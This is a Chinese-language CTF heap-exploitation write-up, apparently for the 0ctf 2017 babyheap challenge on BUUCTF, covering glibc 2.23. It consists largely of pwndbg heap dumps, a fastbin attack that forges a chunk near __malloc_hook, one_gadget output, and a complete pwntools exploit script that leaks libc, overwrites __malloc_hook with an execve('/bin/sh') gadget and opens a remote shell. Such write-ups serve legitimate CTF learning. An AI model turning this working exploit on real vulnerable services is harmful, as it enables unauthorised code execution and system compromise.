1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55f4d9dc8000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55f4d9dc8020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55f4d9dc8040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55f4d9dc8060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55f4d9dc8080 Size: 0x71 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x55f4d9dc80f0 Size: 0x21 fd: 0x7f3275391b78 bk: 0x7f3275391b78 Allocated chunk Addr: 0x55f4d9dc8110 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x55f4d9dc81a0 Size: 0x20e61 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f4d9dc80f0 —▸ 0x7f3275391b78 (main_arena+88) ◂— 0x55f4d9dc80f0 smallbins empty largebins empty pwndbg> x/50gx 0x55f4d9dc8000 0x55f4d9dc8000: 0x0000000000000000 0x0000000000000021 0x55f4d9dc8010: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8020: 0x0000000000000000 0x0000000000000021 0x55f4d9dc8030: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8040: 0x0000000000000000 0x0000000000000021 0x55f4d9dc8050: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8060: 0x0000000000000000 0x0000000000000021 0x55f4d9dc8070: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8080: 0x0000000000000000 0x0000000000000071 0x55f4d9dc8090: 0x0000000000000000 0x0000000000000000 0x55f4d9dc80a0: 0x0000000000000000 0x0000000000000000 0x55f4d9dc80b0: 0x0000000000000000 0x0000000000000000 0x55f4d9dc80c0: 0x0000000000000000 0x0000000000000000 0x55f4d9dc80d0: 0x0000000000000000 0x0000000000000000 0x55f4d9dc80e0: 0x0000000000000000 0x0000000000000000 0x55f4d9dc80f0: 0x0000000000000000 0x0000000000000021 0x55f4d9dc8100: 0x00007f3275391b78 0x00007f3275391b78 0x55f4d9dc8110: 0x0000000000000020 0x0000000000000090 0x55f4d9dc8120: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8130: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8140: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8150: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8160: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8170: 0x0000000000000000 0x0000000000000000 0x55f4d9dc8180: 0x0000000000000000 0x0000000000000000
释放0x60的块
再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5563feb05000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5563feb05020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5563feb05040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5563feb05060 Size: 0x21 Free chunk (fastbins) | PREV_INUSE Addr: 0x5563feb05080 Size: 0x71 fd: 0x00 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5563feb050f0 Size: 0x21 fd: 0x7f66aa6bfb78 bk: 0x7f66aa6bfb78 Allocated chunk Addr: 0x5563feb05110 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x5563feb051a0 Size: 0x20e61 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x5563feb05080 ◂— 0x0 0x80: 0x0 unsortedbin all: 0x5563feb050f0 —▸ 0x7f66aa6bfb78 (main_arena+88) ◂— 0x5563feb050f0 smallbins empty largebins empty pwndbg> x/50gx 0x5563feb05000 0x5563feb05000: 0x0000000000000000 0x0000000000000021 0x5563feb05010: 0x0000000000000000 0x0000000000000000 0x5563feb05020: 0x0000000000000000 0x0000000000000021 0x5563feb05030: 0x0000000000000000 0x0000000000000000 0x5563feb05040: 0x0000000000000000 0x0000000000000021 0x5563feb05050: 0x0000000000000000 0x0000000000000000 0x5563feb05060: 0x0000000000000000 0x0000000000000021 0x5563feb05070: 0x0000000000000000 0x0000000000000000 0x5563feb05080: 0x0000000000000000 0x0000000000000071 0x5563feb05090: 0x0000000000000000 0x0000000000000000 0x5563feb050a0: 0x0000000000000000 0x0000000000000000 0x5563feb050b0: 0x0000000000000000 0x0000000000000000 0x5563feb050c0: 0x0000000000000000 0x0000000000000000 0x5563feb050d0: 0x0000000000000000 0x0000000000000000 0x5563feb050e0: 0x0000000000000000 0x0000000000000000 0x5563feb050f0: 0x0000000000000000 0x0000000000000021 0x5563feb05100: 0x00007f66aa6bfb78 0x00007f66aa6bfb78 0x5563feb05110: 0x0000000000000020 0x0000000000000090 0x5563feb05120: 0x0000000000000000 0x0000000000000000 0x5563feb05130: 0x0000000000000000 0x0000000000000000 0x5563feb05140: 0x0000000000000000 0x0000000000000000 0x5563feb05150: 0x0000000000000000 0x0000000000000000 0x5563feb05160: 0x0000000000000000 0x0000000000000000 0x5563feb05170: 0x0000000000000000 0x0000000000000000 0x5563feb05180: 0x0000000000000000 0x0000000000000000
修改idx2内容,使其为malloc_hook附近构造chunk的地址 修改idx2内容,使其为malloc_hook附近构造chunk的地址,这块地址将来要创建一个虚假的chunk,要求是大小不能超过fastbin,并且包含malloc_hook,因为后面要将malloc_hook修改,使其指向其他函数,执行攻击。一般会将伪造的chunk的size为0x7f,正好在fastbin要求之内,也足够大,计算该地址为malloc_hook
查看malloc_hook的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> x/32gx (long long)(&main_arena)-0x40 0x7f66aa6bfae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000 0x7f66aa6bfaf0 <_IO_wide_data_0+304>: 0x00007f66aa6be260 0x0000000000000000 0x7f66aa6bfb00 <__memalign_hook>: 0x00007f66aa380ea0 0x00007f66aa380a70 0x7f66aa6bfb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f66aa6bfb20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f66aa6bfb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f66aa6bfb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f66aa6bfb50 <main_arena+48>: 0x00005563feb05080 0x0000000000000000 0x7f66aa6bfb60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f66aa6bfb70 <main_arena+80>: 0x0000000000000000 0x00005563feb051a0 0x7f66aa6bfb80 <main_arena+96>: 0x00005563feb050f0 0x00005563feb050f0 0x7f66aa6bfb90 <main_arena+112>: 0x00005563feb050f0 0x00007f66aa6bfb88 0x7f66aa6bfba0 <main_arena+128>: 0x00007f66aa6bfb88 0x00007f66aa6bfb98 0x7f66aa6bfbb0 <main_arena+144>: 0x00007f66aa6bfb98 0x00007f66aa6bfba8 0x7f66aa6bfbc0 <main_arena+160>: 0x00007f66aa6bfba8 0x00007f66aa6bfbb8 0x7f66aa6bfbd0 <main_arena+176>: 0x00007f66aa6bfbb8 0x00007f66aa6bfbc8 pwndbg> x/2gx 0x7f66aa6bfb10-35 0x7f66aa6bfaed <_IO_wide_data_0+301>: 0x66aa6be260000000 0x000000000000007f
1 2 payload = p64(__malloc_hook - 35 ) fill(2 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5582aad11000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5582aad11020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5582aad11040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x5582aad11060 Size: 0x21 Free chunk (fastbins) | PREV_INUSE Addr: 0x5582aad11080 Size: 0x71 fd: 0x7f5647966aed Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5582aad110f0 Size: 0x21 fd: 0x7f5647966b78 bk: 0x7f5647966b78 Allocated chunk Addr: 0x5582aad11110 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x5582aad111a0 Size: 0x20e61 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x5582aad11080 —▸ 0x7f5647966aed (_IO_wide_data_0+301) ◂— 0x5647627ea0000000 0x80: 0x0 unsortedbin all: 0x5582aad110f0 —▸ 0x7f5647966b78 (main_arena+88) ◂— 0x5582aad110f0 smallbins empty largebins empty pwndbg> x/50gx 0x5582aad11000 0x5582aad11000: 0x0000000000000000 0x0000000000000021 0x5582aad11010: 0x0000000000000000 0x0000000000000000 0x5582aad11020: 0x0000000000000000 0x0000000000000021 0x5582aad11030: 0x0000000000000000 0x0000000000000000 0x5582aad11040: 0x0000000000000000 0x0000000000000021 0x5582aad11050: 0x0000000000000000 0x0000000000000000 0x5582aad11060: 0x0000000000000000 0x0000000000000021 0x5582aad11070: 0x0000000000000000 0x0000000000000000 0x5582aad11080: 0x0000000000000000 0x0000000000000071 0x5582aad11090: 0x00007f5647966aed 0x0000000000000000 0x5582aad110a0: 0x0000000000000000 0x0000000000000000 0x5582aad110b0: 0x0000000000000000 0x0000000000000000 0x5582aad110c0: 0x0000000000000000 0x0000000000000000 0x5582aad110d0: 0x0000000000000000 0x0000000000000000 0x5582aad110e0: 0x0000000000000000 0x0000000000000000 0x5582aad110f0: 0x0000000000000000 0x0000000000000021 0x5582aad11100: 0x00007f5647966b78 0x00007f5647966b78 0x5582aad11110: 0x0000000000000020 0x0000000000000090 0x5582aad11120: 0x0000000000000000 0x0000000000000000 0x5582aad11130: 0x0000000000000000 0x0000000000000000 0x5582aad11140: 0x0000000000000000 0x0000000000000000 0x5582aad11150: 0x0000000000000000 0x0000000000000000 0x5582aad11160: 0x0000000000000000 0x0000000000000000 0x5582aad11170: 0x0000000000000000 0x0000000000000000 0x5582aad11180: 0x0000000000000000 0x0000000000000000 pwndbg> x/30gx 0x7f5647966aed 0x7f5647966aed <_IO_wide_data_0+301>: 0x5647965260000000 0x000000000000007f 0x7f5647966afd: 0x5647627ea0000000 0x5647627a7000007f 0x7f5647966b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7f5647966b1d: 0x0000000000000000 0x0000000000000000 0x7f5647966b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7f5647966b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7f5647966b4d <main_arena+45>: 0x82aad11080000000 0x0000000000000055 0x7f5647966b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000 0x7f5647966b6d <main_arena+77>: 0x0000000000000000 0x82aad111a0000000 0x7f5647966b7d <main_arena+93>: 0x82aad110f0000055 0x82aad110f0000055 0x7f5647966b8d <main_arena+109>: 0x82aad110f0000055 0x5647966b88000055 0x7f5647966b9d <main_arena+125>: 0x5647966b8800007f 0x5647966b9800007f 0x7f5647966bad <main_arena+141>: 0x5647966b9800007f 0x5647966ba800007f 0x7f5647966bbd <main_arena+157>: 0x5647966ba800007f 0x5647966bb800007f 0x7f5647966bcd <main_arena+173>: 0x5647966bb800007f 0x5647966bc800007f
申请假chunk,并将malloc_hook修改 malloc->gadget 1 2 3 4 5 allo(0x60 ) allo(0x60 ) payload = b'a' *(0x8 +0x2 +0x8 +1 ) payload += p64(libc_base+0x4526a ) fill(6 ,len (payload),payload)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x562f5ab09000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x562f5ab09020 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x562f5ab09040 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x562f5ab09060 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x562f5ab09080 Size: 0x71 Free chunk (unsortedbin) | PREV_INUSE Addr: 0x562f5ab090f0 Size: 0x21 fd: 0x7f99e2ffeb78 bk: 0x7f99e2ffeb78 Allocated chunk Addr: 0x562f5ab09110 Size: 0x90 Top chunk | PREV_INUSE Addr: 0x562f5ab091a0 Size: 0x20e61 pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x99e2cbfea0000000 0x80: 0x0 unsortedbin all: 0x562f5ab090f0 —▸ 0x7f99e2ffeb78 (main_arena+88) ◂— 0x562f5ab090f0 smallbins empty largebins empty pwndbg> x/30gx 0x562f5ab09000 0x562f5ab09000: 0x0000000000000000 0x0000000000000021 0x562f5ab09010: 0x0000000000000000 0x0000000000000000 0x562f5ab09020: 0x0000000000000000 0x0000000000000021 0x562f5ab09030: 0x0000000000000000 0x0000000000000000 0x562f5ab09040: 0x0000000000000000 0x0000000000000021 0x562f5ab09050: 0x0000000000000000 0x0000000000000000 0x562f5ab09060: 0x0000000000000000 0x0000000000000021 0x562f5ab09070: 0x0000000000000000 0x0000000000000000 0x562f5ab09080: 0x0000000000000000 0x0000000000000071 0x562f5ab09090: 0x0000000000000000 0x0000000000000000 0x562f5ab090a0: 0x0000000000000000 0x0000000000000000 0x562f5ab090b0: 0x0000000000000000 0x0000000000000000 0x562f5ab090c0: 0x0000000000000000 0x0000000000000000 0x562f5ab090d0: 0x0000000000000000 0x0000000000000000 0x562f5ab090e0: 0x0000000000000000 0x0000000000000000
再次执行malloc 因为malloc_hook已经被修改到其他地址,我们再次执行malloc,则会执行我们的目标函数,用one_gadget找到目标函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 fanfan@ubuntu:~/pwn challenges/heap$ one_gadget libc-2.23 .so0x45226 execve("/bin/sh" , rsp+0x30 , environ) constraints: rax == NULL0x4527a execve("/bin/sh" , rsp+0x30 , environ) constraints: [rsp+0x30 ] == NULL0xf03a4 execve("/bin/sh" , rsp+0x50 , environ) constraints: [rsp+0x50 ] == NULL0xf1247 execve("/bin/sh" , rsp+0x70 , environ) constraints: [rsp+0x70 ] == NULL
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *from LibcSearcher import * context(os='linux' ,arch='amd64' ,log_level='debug' ) p=remote('node4.buuoj.cn' ,29856 ) libc=ELF('libc-2.23.so' )def debug (): attach(p) pause()def allo (size ): p.recvuntil("Command: " ) p.sendline(str (1 )) p.recvuntil("Size: " ) p.sendline(str (size))def fill (idx,size,content ): p.recvuntil("Command: " ) p.sendline(str (2 )) p.recvuntil("Index: " ) p.sendline(str (idx)) p.recvuntil("Size: " ) p.sendline(str (size)) p.recvuntil("Content: " ) p.sendline(content)def free (idx ): p.recvuntil("Command: " ) p.sendline(str (3 )) p.recvuntil("Index: " ) p.sendline(str (idx))def dump (idx ): p.recvuntil("Command: " ) p.sendline(str (4 )) p.recvuntil("Index: " ) p.sendline(str (idx)) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x80 ) free(1 ) free(2 ) payload = p64(0 )*3 + p64(0x21 ) + p64(0 )*3 + p64(0x21 ) payload += p8(0x80 ) fill(0 ,len (payload),payload) payload = p64(0 )*3 + p64(0x21 ) fill(3 ,len (payload),payload) allo(0x10 ) allo(0x10 ) payload = p64(0 )*3 + p64(0x91 ) fill(3 ,len (payload),payload) allo(0x80 ) free(4 ) dump(2 ) __malloc_hook = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\0' )) - 88 - 0x10 libc_base = __malloc_hook - libc.symbols["__malloc_hook" ] log.info("__malloc_hook: " + hex (__malloc_hook)) log.info("libc_base: " + hex (libc_base)) allo(0x60 ) free(4 ) payload = p64(__malloc_hook - 35 ) fill(2 ,len (payload),payload) allo(0x60 ) allo(0x60 ) payload = b'a' *(0x8 +0x2 +0x8 +1 ) payload += p64(libc_base+0x4526a ) fill(6 ,len (payload),payload) allo(79 ) p.interactive()